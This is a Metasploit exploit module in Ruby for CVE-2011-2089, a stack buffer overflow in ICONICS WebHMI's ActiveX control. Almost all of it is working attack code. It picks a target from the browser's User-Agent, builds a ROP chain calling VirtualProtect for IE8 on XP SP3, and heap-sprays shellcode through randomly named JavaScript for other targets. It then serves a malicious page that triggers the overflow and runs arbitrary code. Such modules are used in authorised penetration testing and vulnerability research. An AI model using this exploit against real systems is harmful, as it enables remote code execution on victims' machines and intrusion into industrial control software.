##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info={})
		super(update_info(info,
			'Name'           => "ICONICS WebHMI ActiveX Buffer Overflow",
			'Description'    => %q{
					This module exploits a vulnerability found in ICONICS WebHMI's ActiveX control.
				By supplying a long string of data to the 'SetActiveXGUID' parameter, GenVersion.dll
				fails to do any proper bounds checking before this input is copied onto the stack,
				which causes a buffer overflow, and results arbitrary code execution under the context
				of the user.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Scoot Bell <scott.bell[at]security-assessment.com>',
					'Blair Strang <blair.strang[at]security-assessment.com>',
					'sinn3r',  #Metasploit port
				],
			'References'     =>
				[
					['CVE', '2011-2089'],
					['OSVDB', '72135'],
					['URL', 'http://www.security-assessment.com/files/documents/advisory/ICONICS_WebHMI.pdf'],
					['EDB', '17240'],
					['URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-080-02.pdf']
				],
			'Payload'        =>
				{
					'BadChars'         => "\x00",
					'StackAdjustment'  => -3500,
				},
			'DefaultOptions'  =>
				{
					'EXITFUNC'         => "seh",
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[
						'Automatic', {}
					],
					[
						'IE 6/7/8 on Windows XP SP3',
						{
							'Offset'       => 510,         #Offset to where ROP gadgets begin
							'Ret'          => 0x770167b0,  #PUSH ESP; POP EBP; RETN 8
							'Max'          => 4500,        #Max buffer size used
						},
					],
					[
						'IE 7 on Windows Vista',
						{
							'Ret'          => 0x0c0c0c0c,  #Target spray
							'blockSize'    => "0x1000",
							'spraySize'    => "0x8500",
							'Max'          => 4500,
						},
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => "May 5 2011",
			'DefaultTarget'  => 0))
	end

	def junk
		return rand_text(4).unpack("L")[0].to_i
	end

	def repeat(addr, rep)
		arr = []
		rep.times { arr << addr }
		return arr
	end

	def on_request_uri(cli, request)

		my_target = ''
		agent = request.headers['User-Agent']

		if agent =~ /NT 5\.1/ and agent =~ /MSIE (6|7)\.\d/
			my_target = targets[2]
		elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.\d/
			my_target = targets[2]
		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
			my_target = targets[1]
		else
			send_not_found(cli)
			print_error("Unknown User-Agent")
			return
		end

		js = ''
		sploit = ''

		if my_target['spraySize'] == nil

			#ROP tekniq is only used against IE 8 + XP SP3 (ENG), since the gadgets are specific
			#to the service pack (non or fully patched)

			rop_gadgets = [
				my_target.ret,
				junk,
				0x7e45c67f,              #XCHG EAX,EBP; RETN (USER32.dll)
				repeat(junk, 2),
				0x7e440639,              #ADD ESP,10; POP EDI; POP ESI; POP EBX; RETN USER32.dll
				0x7c801ad4,              #Kernel32.VirtualProtect
				junk,                    #Initial ESP + 8 p1 = retaddr
				junk,                    #p2 - lpaddr
				junk,                    #p3 - size
				junk,                    #p4 - perms
				junk,                    #p5 - oldperms
				junk,
				#Return address
				0x7e4462ed,              #XCHG EAX,ECX; RETN (USER32.dll)
				0x7c902b50,              #MOV EDX, ECX; RETN (ntdll.dll)
				repeat(0x77aa2d96, 20),  #INC ECX * 21 (CRYPT32.dll)
				0x7c901726,              #MOV EAX, EDX; RETN (ntdll.dll)
				repeat(0x5b86a17b, 2),   #ADD EAX,7B; RETN * 2 (NETAPI32.dll)
				repeat(0x77c34fbd, 2),   #ADD EAX,5C; RETN * 2 (msvcrt.dll)
				0x7E76EA74,              #MOV DWORD PTR DS:[ECX],EAX; RETN (SXS.dll)
				#Shellcode pointer
				repeat(0x77aa2d96, 4),   #INC ECX * 4 (CRYPT32.dll)
				0x7E76EA74,              #MOV DWORD PTR DS:[ECX],EAX; RETN (SXS.dll)
				#Size  (0x400 bytes)
				repeat(0x77aa2d96, 4),   #INC ECX * 4 (CRYPT32.dll)
				0x7e721a99,              #POP EAX; RETN (SXS.dll)
				0x3BFFF9CB,              #Value to XOR
				0x7e7560b5,              #XOR EAX,3bfffdcb (SXS.dll)
				0x7E76EA74,              #MOV DWORD PTR DS:[ECX],EAX; RETN (RPCRT4.dll)
				#NewProtect
				repeat(0x77aa2d96, 4),   #INC ECX * 4 (CRYPT32.dll)
				0x7E456160,              #XOR EAX,EAX; RETN (USER32.dll)
				0x7E4193BA,              #ADD AL,3B (USER32.dll)
				repeat(0x7E442074, 5),   #INC EAX; RETN (USER32.dll)
				0x7E76EA74,              #MOV DWORD PTR DS:[ECX],EAX; RETN (USER32.dll)
				#OldProtect
				repeat(0x77aa2d96, 4),   #INC ECX * 4 (CRYPT32.dll)
				0x7e721a99,              #POP EAX (SXS.dll)
				0x10010570,              #EAX (Wriable memory)
				0x7E76EA74,              #MOV DWORD PTR DS:[ECX],EAX; RETN (USER32.dll)
				#Call VirtualProtect
				repeat(0x7E421AAF, 20),  #DEC ECX; RETN (USER32.dll)
				0x7E4462ED,              #XCHG EAX,ECX; RETN (USER32.dll)
				0x7E45F257,              #XCHG EAX,ESP; RETN (USER32.dll)
				repeat(junk, 2),         #Align shellcode
				].flatten.pack('V*')

				sploit << Rex::Text.to_unescape(rand_text_alpha(my_target['Offset']), Rex::Arch.endian(target.arch))
				sploit << Rex::Text.to_unescape(rop_gadgets, Rex::Arch.endian(target.arch))
				sploit << Rex::Text.to_unescape(make_nops(80), Rex::Arch.endian(target.arch))
				sploit << Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
				sploit << rand_text_alpha(my_target['Max']-sploit.length)

		else

			#If we don't have to ROP, then we just spray against the rest of the targets

			shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
			target_ret = [my_target.ret].pack('V')
			nops = Rex::Text.to_unescape(target_ret*4, Rex::Arch.endian(target.arch))
			sploit << Rex::Text.to_unescape(target_ret * (my_target['Max'] / 4), Rex::Arch.endian(target.arch))

			js_func_name        = rand_text_alpha(rand(6) + 3)
			js_var_blocks_name  = rand_text_alpha(rand(6) + 3)
			js_var_shell_name   = rand_text_alpha(rand(6) + 3)
			js_var_nopsled_name = rand_text_alpha(rand(6) + 3)
			js_var_index_name   = rand_text_alpha(rand(6) + 3)

			js = <<-EOS
			<script>
			function #{js_func_name}() {
				var #{js_var_blocks_name} = new Array();
				var #{js_var_shell_name} = unescape("#{shellcode}");
				var #{js_var_nopsled_name} = unescape("#{nops}");
				while (#{js_var_nopsled_name}.length < #{my_target['blockSize']}) { #{js_var_nopsled_name} += #{js_var_nopsled_name} };
				for (var #{js_var_index_name}=0; #{js_var_index_name} < #{my_target['spraySize']}; #{js_var_index_name}++) {
					#{js_var_blocks_name}[#{js_var_index_name}] = [ "" + #{js_var_nopsled_name} + #{js_var_shell_name} ].join("");
				}
			}
			#{js_func_name}();
			</script>
			EOS

		end

		obj_id      = rand_text_alpha(rand(6) + 3)
		sploit_name = rand_text_alpha(rand(6) + 3)

		html = <<-EOS
		<html>
		<head>#{js}</head>
		<body>
		<object classid="clsid:D25FCAFC-F795-4609-89BB-5F78B4ACAF2C" id="#{obj_id}"></object>
		<script>
		var #{sploit_name} = unescape("#{sploit}");
		#{obj_id}.SetActiveXGUID(#{sploit_name});
		</script>
		</body>
		</html>
		EOS

		html = html.gsub(/^\t\t/, "")

		print_status("Sending malicious page")
		send_response(cli, html, {'Content-Type'=>'text/html'})

	end
end
